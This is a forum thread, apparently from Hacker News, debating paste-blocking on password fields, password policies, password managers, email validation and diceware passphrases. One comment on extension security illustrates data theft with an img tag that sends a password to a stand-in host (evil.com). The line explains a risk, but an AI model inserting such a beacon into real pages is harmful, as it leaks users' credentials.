I was hoping this would also prevent websites from messing with the input to the clipboard. It's a bit annoying to copy a sentence from a website only to have "Read more on XYZ!" appended to it.
I'd actually like an extension along the lines of "This is not Google Docs, for fuck's sake", that just disables all these APIs that are only ever useful with rich apps, but not with content-heavy websites, for example:
- copy/paste hijacking
- sensor access: microphone, camera, GPS, etc.
Maybe even go further and introduce some sort of rate-limiting for
Incidentally, what are these APIs? I am building a rich content app (SVG editor) and have been starting to think about what copy + paste will look like.
Even if the plugin couldn't phone home directly, if they have the power to change the HTML of the page, they can insert <img src="http://evil.com/phonehome?yourpassword=whatever"> and phone home that way. There's no permission that lets a plugin modify pages while preventing it from inserting tags that cause new requests.
The plugin's code is probably quite short - maybe you could inspect it yourself, manually?
Problem is extensions silently update in the background. They are frequently sold to adware companies, then malicious scripts added in without the user's knowledge.
Hadn't done this before, but it's trivial to manually load the plugin[1] from the cloned git repo[2].
It's a bit disappointing that Chrome doesn't let you sandbox things well enough to install plugins safely; there's no reason that plugins should be allowed to transmit data without asking for permission.
In general, more and more sites encourage me to just leave Javascript turned off all the time. If they break, screw them, I'll go elsewhere. The only sites "sticky" enough to make me put up with it are financial, and that's only because they all suck so changing solves nothing. 'Missing out' on Angular sites hasn't left me feel like I'm missing anything in my life.
This ties in to the discussion of Craig's List the other day. It is so refreshing to use a site that doesn't try to be clever. I understand if people find it ugly, but I don't - simple is good, and I don't care if sites follow whatever design trend is hot this week. Usability is far more important.
I think that option is going to greatly constrain where you are able to go on the web. The vast majority of ecommerce sites I visit will break with JS completely turned off.
OTOH, these "universal" web apps/sites can work quite well without JS. As long as the developer isn't doing silly things like using <button> as a link, or using an anchor to submit a form.
At one point, I built a sortable filterable table for an admin UI, using React. One of the admins was a "no js" guy, and he thanked me for building the whole thing in functional HTML. Up until that point, I had no idea that the admin side of the system was even usable without JS; that was just a natural consequence of optimizing for SEO and load speed (server side rendering, URL representation for all significant state).
Far fewer than you'd think, at least among the ecommerce shops I buy stuff from. And those are mostly the huge shops, which are mostly interchangeable as far as I'm concerned.
So no Google Maps for you? I remember mapquest 20 years ago where you'd pan the map by clicking arrows and reloading the page. Good times! Usability totally won that day.
I roughly use OpenStreetMap 80% of the time, Bing 5% and Google Maps 15%.
Looking up where an address is? OSM. Routing? OSM. Opening hours for places I go semi-regularly (but not often enough to remember them)? OSM (I put them in myself). Footpaths, caves, info on towers (like GSM/3G), public transport routes, etc.? OSM.
Aerial imagery? Bing (much faster than Google Maps).
Traffic info? Google Maps (I'm still casually looking for alternatives). Searching a shop? Google Maps.
In the Netherlands OSM is of equivalent quality in some categories (road network, addresses), better quality in others (trails, meta info about towers or cave entrances or so), or worse in yet other categories (information about businesses, at least outside of city centers).
I use Apple maps when I need them, but that isn't often. I don't drive much, and when I do I use Navigon for turn-by-turn, which I bought before that feature became a free thing.
I don't use Google services in my personal life. (I have less control over vendors at work.)
Lol I always love replies like this. Scuse my french, but are you fucking kidding me?
So basically you don't use 80% of the internet because the occasional site annoys you?
Do you also cut off your hands when you get dirt on them???
People have been saying this since like 2000's, and the more advanced JS websites get, the more cringeworthy this comment gets. It's 2017, just fucking leave javascript on and use ghostry + ublock origin.
Of course it reduces security. It makes you resort to either
1.) typing it out manually while you can't see if you made a mistake
2.) using developer tools to set the 'value' attribute directly
"SPP" discourages use of a password manager. End of story. I also see this pattern used on banking websites for inputs like an account number. This drives me crazy as well for the same reason. The computer can get it right more reliably than my eyes and fingers.
Whenever I see a website that blocks paste I immediately assume it's built by incompetent people and trust it with as little as possible.
Other signs that a site was built by incompetent developers (Or had too much management interference--Devs aren't always to blame!):
Only works with Internet Explorer
Doesn't work with Internet Explorer
Password must have one of 4-10 special characters, but not other special characters. (e.g.: Must contain !, @, ^, &, or parentheses, but not ;, ", etc)
Passwords have no requirements
Right-click is disabled
Video plays as soon as the site loads
Share buttons that use javascript to follow the viewport
Share buttons that pop up over every single image
"Want to see more" when you move the mouse to the top of the screen (Or reach the bottom of the page) (or as soon as the page loads)
We had a gem at my last university (UCL): you must rotate your password every few months, your password can't be anything like any of the previous ones (i.e. previous ones are stored, and they're not hashed), your password must contain special characters etc.
Except.. it can only be 8 characters long. Anything else gets truncated (they explicitly said so). The mind boggles.
I have no idea where this limitation comes from, do people just set an 8 character field in their database? Was this a problem decades ago that they figured they'd save a few megabytes of storage space?
I think they've finally changed it so that the reset period is determined on your password complexity, no length limitations, and you can have 2FA (or at least mobile password reset).
> your password can't be anything like any of the previous ones (i.e. they're not stored hashed)
That's... not necessarily the case. You can implement that check by only storing hashes of previous passwords, or of patterns derived form them that are also forbidden (e.g. store a bcrypt of every previous password converted to all lowercase and with numbers and symbols removed).
It's funny because "DecemberSixteen" is very different from "MarchSeventeen" as a password from a characters point of view but is trivial to extrapolate if you know the guy has to change password every 3 months.
Well in my case, there was only an 8 character limit, so there was a least a bound on it. I didn't investigate how far you could deviate from an old password before it was allowed though.
longer passwords don't hash to longer values (within any reasonable variation of order of magnitude in input size). That would defeat the purpose of hashing
Still, permutations longer hashes don't require substantially more space. Password storage is a completely trivial fraction of total storage -- Compare to a single photo, or a video!
And further still, they don't need to _store_ all the hash variations
Wow, it slipped my mind entirely that you could do the permutations when you create the new password but before verifying, rather than after creating a password. That's a great idea, and embarrassingly obvious in retrospect.
Though I'm pretty sure I've seen "Your password is too similar to a previous password" before, which suggests some kind of plaintext Levenshtein distance check.
"Is the same as" can be fine with a hash, but "Is too similar" is definitely a red flag.
When I've seen that "your password is too similar..." warning, it was with a system that required entering my current password to set a new password, so no need to store a previous version in plaintext.
Though another way around it is to apply a set of common transformations to your new password, hash it and see if it matches the previous one. I.e. if your current password is "Password123" and you try to set it to "Password1234", the system could truncate the last digit on the new password and see if it matches the current one.
Aren't passwords hashed on the client side before sending it across the network? That would make your way around not work (unless that's done on the client side also after verifying from the server that it's correct).
Hashing it on the client side will make the hash the password. So the stored hash can be used as password by turning off the client side hashing, for instance by turning off javascript. You use https to avoid sending the password in cleartext over the network
I've certainly never encountered a web app that hashes locally before sending. I suppose it could work if this was at the account creation or password management stages, but you couldn't implement it at the login stage for obvious reasons.
I'm having trouble imagining what scenario client-side hashing would protect against.
That's unnecessarily complex. Just ask for the old password when doing an expiration reset. Validate the old one then compare that against the proposed new one.
Actually, that's a very good point - you did indeed have to submit the old and new passwords. I want to say that they checked against older passwords too, but I might be misremembering.
You're certainly right (e.g. that's how Facebook can remember so many different variations of you password without storing the actual password itself), but if their engineers are capping the password field at 8 chars, I HIGHLY DOUBT that is what's going on.
Doesn't that decrease the benefit of storing a hash? You probably know the process through which the derivative hashes are generated, which is not known-plaintext but seems kinda iffy still.
If you store the hash of the password, plus the hash of a hundred "similar" passwords, then the hacker only has to brute-force one to find that they are on the right track, and then brute-force "similar" combinations.
Unless you do it the other way around: Generate a list of all passwords similar to the one the user just entered and see if that matches any previous hashes. This is how Facebook's password check works [0]
Supposedly, you'd only be able to get feedback about the similarity of a password in a state where you're already authenticated. So I guess this would help an attacker get the password when they've already gained access in some other way. But that's a big assumption.
I guess it comes from old UNIX passwords (80s and before). They were limited to 8 characters if my memory doesn't fail me. But they were already stored with one way encryption.
My University also had an 8 character restriction. When I asked them about it, they said it was because they wanted a single password across all of the systems, and some of them were really old and had an 8 character restriction, so that had to propagate up to everything else.
I once had similar problem in some ancient LDAP installation and it turned out that adding random 9th character was enough to pass the check while keeping the password effectively the same :)
If the similarity of ciphertexts reveals information about the similarity of the cleartexts, then given you have the encrypted password and the encryption algorithm, couldn't you guess the cleartext password by performing search? The point about hashes is that nobody can decrypt, although everybody knows the "encryption" algorithm. So not sure that homomorphic encryption would help in this case. Or am I missing something?
The most odd bit about that UCL password policy is that it said "your password change has been submitted and may take up to 24 hours to take effect." To this day I'm not sure if they were just displayed in cleartext and someone just typed them in by hand
I think some SSO systems actually have to sync the password up with all the crappy computer systems that use it (rather than using actual SSO) and that syncing is done on a cron job at 3am.
Not allowing + in an email field is one of my pet peeves. Congrats on finding an amazing-looking regex for email validation instead of thinking about it.
Yup. The most email validation I evern implement is "there must be an @ sign with stuff before and after the @ sign". Maybe require a dot in the latter space.
I know lots of developers (myself included) who thought they could write a functional email regex. Eventually you learn that in the end, the way to validate an email address is to send an email.
Strictly speaking, the dot in the latter space isn't actually necessary. It needs to be a resolvable domain, but if you bought a TLD you could be "name@tld"
That certainly used to work on Gmail; I haven't tried recently.
(Obvious caveat being that any provider can trivially append @provid.er if you don't specify, so this isn't really proof that email is specified that way.)
ICANN forbids application records at the apex of a TLD. The only TLDs that do funky things like this are ccTLDs.
And if you try to actually use a bare TLD you will crash hard into collisions with unqualifed domains and search paths. So, fun as a hack to amuse fellow techies but not useful for anything real.
Not that I'm aware of. Although I wouldn't be surprised if google did it for their employees. They already own the google TLD, they could very easily make it point to the google.com emails.
Huh, cool. Though I don't see a lot of those records myself. For example, `dig MX ai.` gives me the MX record for ai., but I can't see any MX records for as., bj., or dj.
No you don't. Email addresses explicitly require any periods in the domain to have at least one (non-period) character after the period. From RFC 5322, the relevant grammar production for the domain looks like
dot-atom-text = 1*atext *("." 1*atext)
(where atext is letters, digits, or a set of specific punctuation characters that doesn't include periods).
Ah, I wasn't aware that email addresses defined that differently. it looks like it's also the same way as part of obs-domain as defined by the addr-spec part of that. RFC 822 also seems to say the same thing, it's been way too long since i've tried to read those RFCs.
One (probably forgotten) reason people validated email addresses with convoluted regexps is that there are multiple (actually valid per RFC) email addresses formats that can do nasty things. Like explicitly specifying a series of mail servers to go through. They're (hopefully) deprecated and rejected by most servers nowadays, though.
> By default, this feature is turned off. This closes a nasty open relay loophole where a backup MX host can be tricked into forwarding junk mail to a primary MX host which then spams it out to the world.
well, string+{whatever1}@gmail.com mails are redirected to string@gmail.com. So a user can just open account for string@gmail.com and then use that to open thousands of user accounts on the site that allows "+" on the email field. (I used to do this on sites that allowed limited number of free downloads after which you had to pay)
But that's not a feature of email in general. That's a feature of gmail, and a few other email providers that have followed suit. For email in general, foo@bar.com and foo+baz@bar.com are distinct emails that may go to different users.
I wouldn't say "a few other email providers that have followed suit". As far as I know, that's always been a feature of Postfix, and common with Sendmail before that. And qmail offered "-" for the same purpose (as well as providing a facility for filtering/redirecting mail based on -extensions).
The standard (as in most common setup) for djb's qmail, was to accept/forward mail for <prefix>@user.example.com to user@example.com, as in: debian-list@e12e.example.com rather than debian-list+e12e@example.com.
While I believe the + was common for postfix, exim and sendmail?
There even was a spam-fighting scheme that used this - it took a key, and optional date, and a sender address - and generated a unique address you could give out, that was only valid for a certain time, for a certain set of senders.
If the system received a mail with a from address that didn't match the cryptologically signed to-address (e12e-xjjgff65477fc@example.com) - the mail was held back, and the system generated a reply, with a signed reply-to address. A sort of manual grey-listing.
The point is that foo+bar is a convention that many providers follow and not an actual rule of email, and therefore blocking that doesn't make sense because you'll block legitimate addresses too.
Similarly, mail providers can come up with all sorts of different conventions if they want. For example, when setting up a new domain in FastMail, it offers the ability to accept anything@user.dom.ain and turn that into user+anything@dom.ain, and it offers user@anything.dom.ain which it will deliver to user@dom.ain. So here we already have two new conventions that sites can't possibly detect as alternatives to the normal foo+bar@dom.ain.
Depending on your email provider, there are a ton of different ways to create brand new email addresses. Blocking off the single pattern of foo+bar@example.com just punishes legitimate users without causing any problem for spammers. Besides the fact that foo+bar@example.com may in fact be a legitimate unique email address, there's also just the case of people who routinely use username+sitename@example.com when signing up for anything as a way of tracking where incoming email is coming from.
None of that is really a red flag for me. The biggest red flag is when I make an account and they send me my username and password in plaintext in the confirmation email. Makes me cringe every time.
I made a saas tool for mac developers. Fixing all the quirks would cost far more than the potential 2% users are worth to me.
Slideshows - you mean even embeded Slideshare ones? Why? It's a good tool to explain certain ideas, and easily shareable one. We had our slides embeded on a TC post, and we used them as a significant source of traffic.
There was once a time where this was a workable excuse, but today's browsers are actually pretty good about following standards. If you're doing something that works in some browser, but not all, then you're likely exploiting some weird quirk of that browser.
And of course, not testing if it works in x browser is different than actively stopping your webapp from running if it doesn't detect the right browser/os combination.
I'd say especially embedded slideshare ones. Just link to the PDF, or I won't read your content (and my browser will probably block it anyway).
I don't know what your product is, but I use four different browsers on a daily basis across three operating systems (it would have been six across 2 if not for the win10 privacy debacle, and even more if I had an android), and I want all my SAAS to work on all of them.
Experience says when they don't work everywhere, IT just dumps the service for another SAAS provider and everyone cheers.
Nothing drives me crazier than random restrictions on my password. I get that there's probably justifiable reasons to limit the number of characters, but if it's a character found on a standard keyboard, it should be available.
You think it's a cost thing ie what the server can compute....?
I forget the term I did this with openssl, Apache, I think with a cheap vps I get between 9 and 10 cost, bcrypt. Sorry if these are not directly related for hashing.
A few sites I have to use for my dishwashing job work ie. share point and a card company that manages my money, as well as another by WalMart, they don't allow special characters only upper case-lower case and digits. You'd think okay length then but some have limits like a 15char limit.
> So fb and Twitter are either built by incompetent devs or they have too high a mgmt interference? (Since they auto play videos)
That seems like it's asked with the expectation that the obvious answer is "no", but I believe it's "yes". Well, I have no idea of the quality of their devs, but someone in the decision chain thought that auto-playing videos was a good idea, and he, she, or they were wrong.
I don't have a problem with slideshows, but a reason is that, in the UX perspective, elements that animate recurringly with previously hidden content (and possibly links) is confusing and not actually used, and then when you find something you want to check you have to use the slideshow pagination, which is cumbersome. Better to properly display the points of interest.
I was talking to one of the Facebook cofounders years ago, and he put it better than I could (he wasn't talking about slideshows specifically). I don't have an exact quote but it went something like this:
We don't optimize for impressions per session. Instead we optimize for the number of things a user does in a fixed amount of time, (or per session). The former is a poor proxy for the latter, and you can increase impressions by adding useless click through pages that ultimately drive away users and destroy your business in the long term. (In the short term, these things make your metrics look good.)
I bring this up because slideshows are a great way to artificially boost impressions.
Some of us just can't be bothered. My web app is tested on Chrome, Firefox, and Edge. If you want to use IE you are on your own and I won't support you unless you give me a million dollars.
Case insensitive passwords is entirely a business decision. Banking websites in particular have huge numbers of non tech savvy customers. When they forget their password or type it in incorrectly, they don't go to the password reset form, they call into customer support. This costs an enormous amount of money.
Banks figured the cost of reimbursing people if their account is compromised is lower than the cost of having to field all of those phone calls.
Once after my account was stolen from, I did a careful look at the website and sent in a list of questions and complaints about their practices. After enough bugging, a person eventually called me. The bottom line was essentially that I shouldn't be concerned because I'm not responsible for fraudulent withdrawals. It wasn't very satisfying.
Not true, they most likely convert all characters to a certain case before they hash it, so even if you entered PASSworD123 they convert to password123 and then hash.
I believe I read that Facebook stores a few commonly mistyped versions of everyone's password. Actual password, typed as if caps lock was on, things like that.
That's a good point. I'm pretty sure my bank is storing the password because they also limit it to some (small) number of characters. I'm guessing it's because the web interface is just passing it on to some ancient back-end system.
> I'm pretty sure my bank is storing the password because they also limit it to some (small) number of characters.
I love how it's always the banks with these ridiculous password practices. I'm really glad that it's not some site where the password is protecting important information.
Well, does it? Even if you crack it you don't have the correct casing. So you don't have the original password. Of course doesn't help if every other website converts to lower case too.
But if you use bcrypt you can partially compensate by using a higher work factor.
I've seen people write hash functions which change the input to all lower or upper case first. I think it's a pointless, stupid idea– maybe unless it's a VERY low-risk system for people with cognitive disabilities, kids or seniors– but not necessarily unhashed-password-level stupid.
facebook logins work this way (sort of). they account for flipped case (caps lock on) and for passwords that accidentally have the first letter capitalized.
I'm pretty thankful on some websites when there are no password requirements. Like the article states, sometimes I am not coming back to that website. In truth the real annoyance for me is requiring an account. I wish more companies would just let me order without storing account details.
It's interesting that a lot of us are assuming that pasting encourages the use of password managers.
However; I worry that this is a very BIG assumption.
Even in my IT-literate circles password management usage is low.
In my non-IT circles it is non-existent, and not because of SPP particularly; I suspect SPP (which I agree is silly) derived from an understanding that allowing an average person to paste passwords meant they stored them in passwords.txt on their desktop.
Naturally the population here is technical so it can be hard to see that as a common and sensible thought process. But never underestimate the capacity of the average person (who's IT capability you and I don't represent) to make mistakes like this and never see the problem/risk.
It's odd that the article explicitly mentions this near the start but then doesn't address it in the Justifications section.
I think you have the causality backwards. If someone's storing passwords in a text file on their desktop, they will probably copy/paste those passwords if the functionality is available. However, they're probably storing their passwords somewhere because they have trouble remembering them, which doesn't change if you block pasting. You can have a passwords.txt file and just consult it to type in your password every time. In theory that might help you remember it after being forced to type it a few dozen times, but many of the sites that block pasting also force password rotation riiight around when you finally start remembering it.
> I suspect SPP (which I agree is silly) derived from an understanding that allowing an average person to paste passwords meant they stored them in passwords.txt on their desktop
That's a significantly better practice than using the same easy-to-type password on every site, isn't it?
I assume that those people still use a passwords.txt and type the passwords in it, or they use only one password for all the sites. So SPP doesn't change anything for them but it makes switching them to a password manager more difficult.
> In my non-IT circles [password management] is non-existent, ... an average person to paste passwords meant they stored them in passwords.txt on their desktop.
But that is password management, it's just crap password management.
There's certainly an argument that a plaintext-on-desktop stored list of high-entropy passwords is better than a single in-(human)-memory low-entropy password. With the recent wannacrypt reminder, that argument's slightly diminished, though.
I think the highest impact (i.e. fn of quick/low effort, high reward) suggestion to non tech-literate folk is to use 2FA on their email account. I like and usually suggest Authy, mainly because it's available as a Chrome app too whereas e.g. Google Authenticator is just on Android/iOS. (I assume it's clear, but email account as opposed to something else since it's so near universally treated as the fallback option.)
That's a good base for them to start using 2FA everywhere else it's possible, too.
Why are you worried? Regardless of whether avoiding SPP 'encourages,' that is, actively advocates for the use of password managers, we can agree that implementing SPP 'discourages' the use of password managers, right? So is there some risk I'm not seeing in 'enabling but not overtly advocating for' the use of password managers?
>You are forked if your manager is ever compromised.
You are forked if your machine is ever rooted too. Security isn't about perfection, it's about economics and threat models. For the average person the biggest fundamental risk comes from one of the vast numbers of services they use, none of which they have the slightest control over or knowledge of, getting breached, bought, leaked or whatever. As long as we need to use passwords (long past any technical reason for it, but legacy and inertia tends to make change extremely had) for authentication, it will in turn remain necessary for people to use passwords for every site that are good (random of sufficient length), unique, and can be changed at any given arbitrary time (in case of service compromise). It is simply not possible for most humans to handle all that in their heads, perfectly and indefinitely. Which in turn leads directly to password managers, end of story. It's not a matter of them being ideal or even desirable, they're necessary under current common authentication practices.
>It's only a matter of time until a major breach happens with a popular password manager.
Explain what you mean by this? Most password managers operate purely client side, and all actual password managers perform encryption client-side, there is nothing to "breach" to get general access to a wide swath. A persistent targeted threat is an entirely different scenario. Or did you mean you expect the password manager application software deployment system itself to get breached and thus release a malware infected update? That though isn't an issue limited to password managers at all, it's one that you can at least somewhat counteract yourself since it's ultimately on a system under your control (and there are OSS password managers, etc), and password manager devs have better domain knowledge and specialization then some random service.
In terms of threat model it's a no brainer. It's disappointing to see continued protestations against password manager usage on HN of all places, short of some theoretical discussion of switching everything to proper public key auth. Even a full court industry push starting tomorrow though wouldn't eliminate passwords for likely years if not decades, and in the mean time everyone has to make the best of it.
The same argument could be made about online banking or any other high-risk online service. Really though, your average manager far more likely to have their machine compromised with malware or fall for a spear phishing attack. There will always be ways to circumvent security, but password managers solve more problems than they create. Regardless if it was your password manager which was compromised, or any other sort of password leak, it's really easy to quickly change all of your passwords once it's secured again. Eschewing good because it's not perfect is a losing strategy.
I use a password manager to generate long, complex passwords for every service I use (as complex as the service will allow).
For sites that disable pasting, I have developed quite a skill at copying the password character by character from my PM into the password field. I'm even starting to remember a couple of them.
For Firefox, setting the "dom.event.clipboardevents.enabled" about:config option to false prevents clipboard paste events from reaching javascript. No more blocked pasting after you toggle that option, even if the website attempts to do so.
Use "Paste" from right click menu. Configure your environment to use a different paste keyboard combo. Use the old X11 clipboard with middle button paste.
Use KeePass's auto-type feature. I'm not familiar with other password managers, but for KeePass it emulates a keyboard, and works on sites that disable pasting.
If you can remember it that means you need to change it! I refuse to look at any of my generated passwords. For the services that wont let me paste in, I have a macro that will type whats on my clipboard. Just a simple auto IT script with a WAIT (so I can make sure I focus on the input box) and SEND.
My password manager also clears the clipboard if it is equal to the last password copied after a wile (I've never timed it).
> If you can remember it that means you need to change it! I refuse to look at any of my generated passwords.
I'm trying to understand the reasoning for this. Are you dealing with very sensitive information that you have a real reason to fear the rubber-hose cryptanalysis method?
AFAIK the benefit of changing passwords regularly is highly debatable anyway. If so, I think "Don't change it, since you would have to memorize the new one" is more logical advice.
As a consultant, I have been given access to a lot of passwords for clients. From corporate bank accounts to production servers at government agencies. So they are very sensitive, and when my contract is up, I delete the password folder for that client. I started doing that with clients, then eventually ended up continuing it to my personal passwords as well.
You talked about not even looking at generated passwords, which is different from client's passwords. That's the part I didn't understand.
Although, honestly, the other part seems more bizarre. Gov't agencies and other clients are just giving you their sensitive passwords, and trusting you to delete them after the project, at your leisure? How is that not terrible security? Revoking a consultant's security needs to be in the hands of the employers.
I'm pretty sure the passwords I'm given are generated. I wouldn't really know as they shared the passwords in a file with me that I never looked at them. I'm sure they cleaned up accounts on their end, but I would rather do some due diligence on my end as well. I don't know their processes and procedures.
But why even know your own passwords, what is the point? If I can double click from my manager and paste it into my password field and never have to worry about knowing anything, I'm much happier and safer.
I write an Alfred (https://www.alfredapp.com) workflow that sends keystroke events using AppleScript for arbitrary strings, specifically to work around SPP.
The AppleScript in question is very simple, it just looks like
on alfred_script(q)
tell application "System Events" to keystroke q
end alfred_script
I also worry when a site doesn't work with autocomplete. It's rare these days that the developers have actively tried to prevent it from working, but more common that an unnecessarily intricate sign-in flow makes the existence of the password field unrecognizable to the browser.
This makes me wonder about the personal security practices of the team that built it -- it's unlikely they typed strong passphrases hundreds of times a day during development -- and whether a secure site could come from such a team.
There are a couple of reasons to actively prevent autofill passwords. The only one I have seen for login autofill prevention is when the password is actually a generated token (ala yubikey,etc) and a password manager won't do the right thing by default.
There are regulatory bodies that require regular challenge of user identity for approving items as sort of a signature mechanism. This is another time where active thwarting the password manager makes sense. Whether or not the regulation makes sense is an entirely different issue.
Those are good reasons, and I appreciate when the attribute is used properly in these cases. It's annoying to have to say "no, don't remember this updated password" to my browser every single time I visit certain sites that ask for OTPs that my browser wants to autofill.
In the token case, I wonder whether they should have been password fields to begin with. Replacing a 6-digit OTP with asterisks is of questionable benefit, because the shoulder-surfer it thwarts can't reuse the OTP and is really unlikely to swipe it and use it before you do.
Also, a password manager that is built into the browser can give hints(sometimes subtle) that the site isn't who is says it is because the password/user id is tied to the domain
If you want to see incompetence, the California DMV doesn't allow copy/paste AND it asks for not two, not three, but SIX personal security questions.
Oh, and if you forget your login/pass/security-answers, don't worry, you can just re-register your account with the same username as before, with all new password, security questions and answers.
The end result of "discourages use of a password manager" is definitely this for normal users: use the same password for all website logins. How is this a good thing?
Oddly enough namecheap prevents pasting into their 2fa code input. I tried to tell them that a lot of us get sms messages on your desktop thanks to apple messages.
That restriction I can understand, though I think passwords should not have to be typed twice. If you enter the password incorrectly, you can always reset it after the fact. But if you enter the incorrect email address (and subsequently forget the password), it will be harder to access your account since you presumably do not have access to the (erroneous) email used for registration.
>> 1.) typing it out manually while you can't see if you made a mistake
This is my pet peeve. Password fields should not be obfuscated by default. It should be a toggle that is off on page load. Shoulder surfing is a corner case.
Cameras are everywhere in public spaces, and most people wouldn't notice a password field wasn't obfuscated until they've already started typing. Defaulting to obfuscated seems the only sensible option.
No way. The number of reported cases of passwords being stolen simply by physical proximity is enough to make this a sensible default. I agree that there should be an option to show the password as you're typing or, at a minimum, once you're done typing (less secure) but making that the default is unreasonable.
I don't even have the ability to read my password manager's master key, since all passwords are encrypted with different AES keys, which is then encrypted with a private key I have no ability to read (only ask my smartcard to perform RSA on, if I can authenticate to it).
hunter2 supports the concept of users, which are named public keys so I can share individual passwords with other users. One of those other users can be a different smartcard or a different person who can then authorized my new card.
It's remembering one password vs X, and it is pretty hard to remember in my case, almost 4 months into using this password and I still struggle to type it in correctly sometimes
Yeah I was just kidding, I see what the parent meant.
Now I use a hardware token (yubikey) to store my PGP key so I can use a relatively weak PIN code on it (since you need to have physical access to the device to use it and you only have 3 attempts before it locks up). It's a pretty good quality of life improvement.
Then you better don't use it when you're fatigued or drunk. I nearly locked my SIM card once by not realizing until the third attempt that my phone was asking for the SIM card PIN rather than my lockscreen PIN.
There's also an "admin PIN" that can be used to unlock the key if something goes wrong. It's more complicated than my regular PIN and I didn't memorize it so that should be enough as a defensive measure against drunk me.
Well, unless I'm silly enough to try and bruteforce that PIN as well, after 3 failures I'd be left with an expensive piece of plastic... Fortunately I'm rarely that drunk.
EDIT: Actually as the sibling comment points out you can still reset the token even if you mess up the admin PIN. So at least you won't "brick" your token completely.
Well, the password manager master key encrypts a local file, so an attacker must have access to your machine first. And it's only one password to remember, as opposed to a high-strength password for every single site one uses.
>if you can remember your password, its probably too weak
As XKCD famously pointed out[0], Diceware[1]-style pass phrases can be both secure and memorable. XKCD's four word example isn't secure when fast brute-force attacks are feasible, but eight words is still easily memorable and secure enough for anything. The important point here is that "random words" really does mean "random", i.e. not picked by a human.
Just to add to the above comment, a diceware passphrase is MUCH harder to break than most people realize. For example, compare the possible number of combinations:
Diceware, 6 words 2.2 x 10^23
Diceware, 5 words 2.8 x 10^19
Diceware, 4 words 3.6 x 10^15
a-zA-Z0-9, symbols, 10 4.3 x 10^19
a-zA-Z0-9, 10char 8.4 x 10^17
a-zA-Z0-9, 8char 2.2 x 10^15
A 6 word diceware phrase has 100 million more combinations than the 8 character alphanumeric.
You might wish to consider these in terms of entropy, which is typically given in bits:
Diceware, 6 words 77 bits
Diceware, 5 words 64 bits
Diceware, 4 words 51 bits
a-zA-Z0-9, symbols, 10 65 bits
a-zA-Z0-9, 10char 59 bits
a-zA-Z0-9, 8char 50 bits
For any remote site, I recommend using 22 characters from [a-zA-Z0-9]; this is 128 bits, and is easily copy-pasteable.
It's highly amusing when a site tells me that such a password is insufficiently complex, given that it will never in the lifetime of the universe be guessed.
A 6 word phrase is also over 3x as long as an 8char password.
The entropy calculations are probably generous. The wordlist isn't as long as it looks, because some of the words are strange and people tend to re-roll if they get something like that. It's probably better to assume there's only 1000-2000 "words" people will safely combine.
The instructions explicitly tell you not to reroll strange words. Look them up or use them as a mnemonic. Or if you don't like the strangeness in the default diceware word-list, find a word-list you like better. (There are several alternatives including fun ideas like using a foreign language word-list and learning the pronunciations and meanings of those words.)
Also, the combinations list assumes that the attacker knows the method/word-list used to generate the password, which may not be foreknowledge the attacker has access to, especially in cases of giant many account password brute forcing attacks.
It should be clear that brute-forcing a passphrase is much more complicated than a PIN number, in the best case for you (worse case for an attacker).
Just because your passphrase may essentially be a PIN look up into a lookup table doesn't mean the attacker knows that or has access to the same lookup table.
You can also add additional entropy via punctuation or casing.
The point to a random passphrase is to try to avoid "human" mistakes like over favoring a subset of words, and rerolling words you don't like potentially makes your collection of passphrases more susceptible to analysis or social engineering (word association) attacks.
Like I said, it's generally better to pick a word-list you are comfortable with all the possible words than to subset a word-list you aren't entirely comfortable with.
The goal of something like Diceware is to be easy for humans to memorize but also still true random (see: xkcd's battery horse comic). If you don't need to memorize it, then yes, why not entirely generate a random sequence of letters/numbers/symbols/emoji.
This kind of assumes that you're trying to crack a password with the operating assumption that words are indeed not used, that every character is random, and that you wouldn't use some sort of word library to construct passwords.
No, it doesn't. It assume that you know exactly that the password is a Diceware password. The standard word list has 7776 entries, giving 7776^6 ~ 2.2*10^23 combinations for a 6 word passphrase.
But how many of these can you remember? I currently use almost fifty different passwords. I can't imagine committing fifty different pass phrases to memory.
That's what password managers are for. Just remember the password for the manager, plus maybe one or two critical accounts (e.g. email) and you're good to go. Let the manager deal with the complexity of generating and remembering random passwords.
I don't understand this response? A passphrase is easier to remember than a password. 50 passphrases may not be easy to remember, but they're easier than 50 passwords.
I thought password cracking machines now guess words as well as characters? Like they will guess all 8 character passwords and will also guess all 6 word passwords using common words like they guess characters? Therefore using just a few common words stuck together with nothing else is no longer secure? (This is a genuine question because I could be totally wrong on that, I can't even remember where I heard it)
"Probably" being key here. I still memorize all my passwords and the average one is about 30 characters long, with my "more secure" websites going 60+.
Oh, come on. All of them? If you're like me, that’s hundreds. Are you a memorization savant? Are you creating low-quality passwords? Mine are actually long and random (generated NOT by me and NOT four Dr Seuss words)
It wasn't always this way. I had horrible password standards as I'm sure most of us did when we started out on computers.
- If it's a website I couldn't care about, I use a simple password, probably a remnant from growing up.
- If it's a website I'm concerned about but knowingly won't use, I create a random password and clipboard it during initial creation/login, then every time I use the website I reset it (lazy man's password generator)
- If it's a website that I care about, like HN, I have a loose pattern that I follow that includes symbols and numbers (that's the 30ish character I was referencing). Every website is unique.
- Financial accounts have their own set of rules (unless it's stupid and has, say, an 8 character limit)
- My main email accounts get special treatment with an exceptionally long password.
- Use two-factor authentication wherever possible.
You just make up a story and use one of the knickknacks you keep near your workstation as a memory trigger.
For instance, if I needed a new strong password, I could use, "This#jar#once#held#1111#M&Ms,#but#now#it#is#empty."
The only thing I need to remember there is the story of the jar and the padding character I used in place of spaces. If I really had to, I could put "#" on a sticky note under the jar. But of course, I can't use that password now. So I might instead use "I(used(this(jar(as(an(example(on(HN." But now I can't use that one, either. So maybe I use "These!blinds!are!very!dusty.!!Someone!should!clean!them." or "My^dog^once^killed^a^dozen^baby^rabbits^in^the^tall^grass^I^didn't^want^to^mow." or "MyFgreatFauntsFhadFreallyFlongFhair."
I get really irritated when sites tell me I have to include numbers, uppercase, lowercase, and symbols in the same password. I get especially irritated when they put an upper limit on the number of characters, or ban certain characters from appearing in the password.
That's ludicrous. Is your workstation covered in sticky notes and knickknacks? Are you re-using these passwords? Do you have to buy a new knickknack for every new website you visit that requires a password?
One photograph can contain several virtual knickknacks. I usually don't use sticky notes, as I also make a mnemonic to relate the character to the story. For instance, a story about the beach could use '@' as a conch shell, or '*' as a sea star, or '$' as a sand dollar, or '~' for ocean waves.
But everyone has their own tricks for remembering things.
And I certainly don't make the effort for sites that I don't consider to be important. Those as often as not just get reset via e-mail whenever I forget my password.
It's amazing the lengths people will go to to justify not using a password manager.
